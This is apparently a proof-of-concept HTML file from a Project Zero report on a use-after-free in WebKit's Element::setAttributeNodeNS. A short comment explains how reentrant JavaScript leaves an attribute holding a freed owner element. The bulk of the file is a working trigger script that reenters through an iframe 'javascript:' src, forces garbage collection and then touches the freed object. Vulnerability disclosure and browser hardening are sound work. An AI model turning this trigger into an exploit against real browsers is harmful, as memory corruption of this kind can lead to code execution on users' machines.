55 lines
No EOL
1.4 KiB
HTML
55 lines
No EOL
1.4 KiB
HTML
<!--
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1187
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Here's a snippet of Element::setAttributeNodeNS.
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ExceptionOr<RefPtr<Attr>> Element::setAttributeNodeNS(Attr& attrNode)
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{
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...
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setAttributeInternal(index, attrNode.qualifiedName(), attrNode.value(), NotInSynchronizationOfLazyAttribute);
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attrNode.attachToElement(*this);
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treeScope().adoptIfNeeded(attrNode);
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ensureAttrNodeListForElement(*this).append(&attrNode);
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return WTFMove(oldAttrNode);
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}
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|setAttributeInternal| may execute arbitrary JavaScript. If |setAttributeNodeNS| is called again in |setAttributeInternal|, there will be two |Attr| that has the same owner element and the same name after the first |setAttributeNodeNS| call. One of the |Attr|s will hold the raw pointer of the owner element even if the owner element is freed.
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PoC:
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-->
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<body>
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<script>
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function gc() {
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for (let i = 0; i < 0x40; i++) {
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new ArrayBuffer(0x1000000);
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}
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}
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window.callback = () => {
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window.callback = null;
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d.setAttributeNodeNS(src);
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f.setAttributeNodeNS(document.createAttribute('src'));
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};
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let src = document.createAttribute('src');
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src.value = 'javascript:parent.callback()';
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let d = document.createElement('div');
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let f = document.body.appendChild(document.createElement('iframe'));
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f.setAttributeNodeNS(src);
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f.remove();
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f = null;
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src = null;
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gc();
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alert(d.attributes[0].ownerElement);
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</script>
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</body> |